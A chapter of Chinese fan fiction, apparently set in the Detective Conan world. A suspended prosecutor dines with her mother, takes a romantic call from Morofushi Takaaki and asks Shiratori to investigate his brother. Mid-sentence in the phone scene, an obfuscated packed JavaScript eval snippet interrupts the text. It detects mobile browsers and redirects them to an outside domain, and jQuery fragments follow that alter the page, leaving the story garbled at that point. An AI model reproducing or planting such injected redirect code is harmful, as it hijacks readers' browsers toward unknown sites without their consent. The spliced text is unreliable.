“我回来了。”
北原浅落拉着行李箱进屋,在玄关处换鞋。
把行李箱放在角落,她朝里屋走,果然只看到母亲的踪迹。
“回来啦!”北原理纱将最后一道菜端上餐桌,“刚好,快洗洗手来吃饭吧。”
“好。”北原浅落走到洗手池边打开水龙头,“爸呢?加班?”
“是,今天晚上有个会,他走不开。”北原理纱给二人放好筷子,正要坐下,转头看向正在洗手的女儿,“我给你把饭盛好?”
“好,谢谢。”北原浅落拿过一旁的手巾把手上的水擦干,“我就知道,检事长大人果然天天日理万机。”
“没办法,最近你爸是很忙,我也很忙,”北原理纱将盛好的饭递给女儿,两人在餐桌旁落座,“还好今天晚上的临时会议取消了,不然,你到家了还得自己解决晚饭。”
“你们最近在忙什么?有什么大案子吗?”
“工作机密,无可奉告。”
说这话的时候,北原理纱眼都没抬一下,只是给女儿夹菜:“这是你爸半个月前腌制的小菜,你最喜欢吃了。”
对此,北原浅落早已习以为常:“是是是,机密,我不问。”
“话说,对于我这次回来,你们有什么要说的吗?”
北原理纱舀汤的手一顿,瞧了坐在对面的女儿一眼,嘴角轻勾:“说什么?抱歉啊,北原检事,我们不是你的直属上司,你也不就职于东京高等检察厅,你的级别还没到有幸让我们给你处分的地步。”
“讨厌,职级高就了不起啊,总有一天我会超过你们。”
北原理纱笑了两声,换回母亲的口吻:“其实,刚开始知道你被停职的时候,我和你爸是挺惊讶的,但是,想了想,哪位检察官在工作中没犯过错呢?就连你爸,像你这么大的时候也受过处分,事情也比你严重多了,直接降级到区检察厅去了。”
“真的?”
北原浅落不可思议,从小到大,她都认为她爸是个在工作方面一丝不苟到近乎苛刻的人,他居然在工作中犯过这么严重的错误?
“是,那时候,我还借职级便利指挥过你爸给我跑腿呢,可惜啊,后面就没有这种机会了。”回忆起年轻时候的经历,北原理纱嘴角漾起笑意。
“你可别把这事告诉你爸啊,不然他要找我的。”
“你怕他?”北原浅落撇撇嘴,一脸不信。
“我当然不怕他,我怕他的唠叨。”
北原浅落扑哧一笑:“好,我不会和他说的。”
凝视了女儿的面庞几秒,北原理纱认真地说:“浅落,我和你爸都相信你,所以,不要对这次的事件太在意,就当好好休息一段时间。”
北原浅落心中涌起热流,抬手抹了抹眼角:“妈,谢谢。”
“好啦好啦,快吃饭吧,”北原理纱递上一张纸巾,“我也有好长时间没下厨了,你尝尝看味道怎么样。”
“嗯嗯。”
看着女儿吃饭的样子,北原理纱一脸欣慰,抬手替她把在额前晃悠的碎发拨到耳后。
“那个,前段时间,你不是和法院的神谷康平相亲了吗?感觉怎么样?你之前说在电话里说不清楚,现在总能说清楚了吧?”
想起自己之前在电话里那通敷衍的回应,北原浅落尴尬一笑:“神谷裁判官,人是很好啦,就是……”
见北原浅落吞吞吐吐,北原理纱秒懂:“行,我知道了,就是你没看上他。”
“嗯。”北原浅落不好意思点点头,她这次回来其中一个目的就是想找个机会和对方说清楚。
“没事,你爸那张候选人表格上还有很多人,你慢慢挑。”
北原浅落筷子一抖,刚夹起的菜落回盘子。
“候选人表格?这东西又是什么时候弄的?”
“就你去长野的这段时间啊,我和你爸知道你眼光高,就提前给你筛选一下,免得你到时候厌烦。”
“我已经厌烦了,其实,我……”
“呀啦,先别烦,其中两位还是池田介绍的呢,对了,你还不知道吧,池田生病住院了,前两天我和你爸刚去医院看过他。”
北原理纱的话成功把话题引开,北原浅落卡在嗓子眼的话就这么咽了回去。
“欸?池田前辈生病了?很严重吗?我去看看他。”
“老毛病了,脊椎问题,这次有点严重,他刚做完手术,过两天等他精力好点了你再去看吧。”
“嗯,”北原浅落咽下口中的饭,观察了母亲几秒,试探性开口,“妈,我有件事要和你说……”
“嗯,你讲。”北原理纱不紧不慢喝着汤。
北原浅落特意停了停,观察母亲的节奏,把握时机开口:“其实,不用给我相亲了。”
果不其然,话音刚落,北原理纱就停下了动作,抬头用一向用来审视材料的眼光捕捉女儿的微表情。
“是,没错。”
知女莫若母,同样,知母也莫若女,北原浅落肯定了母亲心中的猜想。
“我有喜欢的人了。”
两秒后,北原理纱审视的目光转为八卦的目光,多年的案件经验告诉她,北原浅落没有蒙骗她,这是实话。
“是谁呀?”北原理纱屈起右手手臂撑着下巴,左手指尖一下一下点着桌面,眼里满是促狭的笑意。
北原浅落被盯得不好意思,低头盯着自己不知如何摆放的双手。
“我们、我们还没正式交往,现在还不能告诉你。”
听到这,北原理纱眼中的兴趣更浓了。
“还没正式交往是什么意思?浅落,你不会是在暗恋吧?”
“就、就是还没正式交往嘛,”北原浅落顿了顿,连忙补充,“我已经接受他的表白了,只不过缓期一个月执行而已。”
“缓期一个月?”
“嗯,我不是停职一个月吗?等我回长野了再……”意识到被母亲套路,北原浅落急忙噤声。
“原来是长野的啊……”北原理纱嘴角笑意更浓,“我还真好奇,是什么样的人才能让你青眼。”
“妈!”北原浅落“狠狠”瞪了母亲一眼,加速扒拉碗中剩下的饭。
“我吃完了。”
刚把碗筷放下,桌边的手机响了,北原理纱探头去看,但还是晚了一步,手机被北原浅落以迅雷不及掩耳之势拿起。
看来是那位还没“正式交往”的男朋友了。
忽视母亲揶揄的眼神,北原浅落小跑上楼,走到一半接了电话放在耳边,而后回房锁上房门,坐在门后和电话那头的人聊天。
“是,已经到了,晚饭也吃好了,你呢?”
诸伏高明望了望窗外升起的月亮,将视线转回面前的桌上,上面摊着一本书:“我也吃好了,本来打算看会新出的刑法案例解读,但是发现看不下去。”
“嗯?为什么呢?是写的不好吗?”北原浅落迅速回忆了一下书中的内容,“没有呀,我觉得写得挺好的,很翔实。”
诸伏高明嘴角轻勾:“不是书的问题,是我的问题,或者说,是你的问题。”
“我的问题?”
“对,因为我一直在想你。”
“脑子里全是关于你的事,一直想着什么时候才能从你那兑换凭证,想着想着就完全看不进了。”
对方的情话隐晦又直白,惹得她红了脸。
“那也不关我的事,是诸伏警部你自己定力不够,专注力不行。”
“对,是我的问题。”
不知是不是电话听筒的加成,北原浅落觉得对方夹杂着笑意的语气如同羽毛一般,在她耳廓边挠痒。
“浅落。”
这是他第一次叫自己名字。
似是心血来潮的无心之语,又像蓄谋已久的试探。
不论是什么,他成功地让自己的脸更烫了。
“我想你了,浅落。”
他又叫了自己的名字。
北原浅落嘴巴翕动,尝试了几次,她回道:“我也想你。”
拜他所赐,现在,她的脑子里也全是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115187|179354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这就是恋爱吗?
*
午后,警视厅旁的咖啡店内顾客寥寥,靠窗的桌边坐着一男一女。
“听说,”男人小啜了口咖啡,“你把法院的神谷君拒绝了?”
男人放下咖啡杯,杯子与瓷碟相碰,发出清脆的声音。
北原浅落不着痕迹白了面前颇有些幸灾乐祸的男人一眼:“是由美和美和子和你说的吧?”
“是,”白鸟任三郎点头,笑着挑了挑眉,“之前,伯母还问过我,有没有什么合适的朋友能推荐给你。”
“那你怎么说的?”北原浅落将搅拌的小汤匙取出,放在瓷碟上,捏着杯柄。
“我说,要是有,早就介绍你们认识了。”
“这还差不多。”北原浅落端起茶杯喝了一口。
白鸟任三郎再上下打量了北原浅落两眼,笑道:“本来还担心这次处分会给你带来什么影响,看来是我多虑了。”
他和北原浅落从小就认识,如果说之前的自己只是有点高傲,那么,北原浅落就是高傲的代名词。
由于出色的记忆力和聪明的头脑,她从小就远超同龄人,这让她无法理解身边的人的“迟钝”,也让同龄的人不自觉远离她,久而久之,便独来独往了。
只有白鸟和在京都上学时认识的绫小路算得上朋友,因此,在白鸟任三郎面前,她还是不自觉展露之前的脾气。
“那确实多虑了。”北原浅落轻轻吹着茶水,“我可没有这么脆弱。”
“那就好,”确认好友一切正常后,白鸟任三郎开门见山,“说吧,今天单独约我有什么事?”
北原浅落放下茶杯,抽出张纸巾擦了擦嘴:“我想让你帮我查一个人。”
“查谁?”白鸟任三郎怔了一秒,随即换上一个微妙的笑容,“查你那位神秘的笔友前辈?这恐怕是查不到。”
“不是,真要让你查,在你刚进警视厅的时候我就会找你了,还用等到现在?”北原浅落撇了撇嘴。
更何况,她现在已经找到了。
“那是查谁?”
“请帮我查一下一位叫诸伏景光的人。”
“诸伏……”白鸟任三郎略加思索,“我记得长野有位诸伏高明警部。”
“是,没错,这位诸伏景光就是他的弟弟。”北原浅落说道,“去年因为案件,我拿到过警视厅的在职人员名单,但是里面没有他的名字。”
“他在警视厅任职吗?”白鸟任三郎回忆着警视厅的同事们,“我好像确实没听过这个名字。”
“我不确定是不是在警视厅,但是应该是警察没错,我大学的时候见过他,他那时候在警校读书。”
“是吗?”
“是的,其实我之前已经拜托过我爸了,但是一直没有和我说,可能是因为他最近太忙了,把这事忘了,也可能是因为他查到了,”北原浅落停顿了一下,神色敛了几分,“但不想和我说。”
“所以嘛,我就来拜托你了。”
白鸟任三郎无奈一笑:“你爸都不能和你说的事,你觉得我能查到?”
“不试试怎么知道呢?”北原浅落丝毫不惧,迎上对方的目光,“你帮不帮?”
“行吧行吧,”白鸟任三郎将剩余的咖啡一饮而尽,起身扯了扯领带,“我到时候要是被停职一个月,记得把那个月工资补偿给我。”
“谢了。”北原浅落没去理会白鸟任三郎的玩笑,向他认真道了声谢。
“真要谢我,就告诉我为什么要查他,要是诸伏警部想查,也用不着你来找我吧?”
北原浅落跟着将茶水一饮而尽,站起身笑道:“等你查到了,我再告诉你。”
白鸟任三郎笑着摇了摇头,抬手告别:“我回去了,有消息会和你说的。”
“再见。”
走出咖啡厅,北原浅落转身看向不远处矗立的警视厅大楼,神情趋于严肃。
如果真的是她爸查到了却一直避而不谈,那么,这件事,比她之前以为的要严重得多。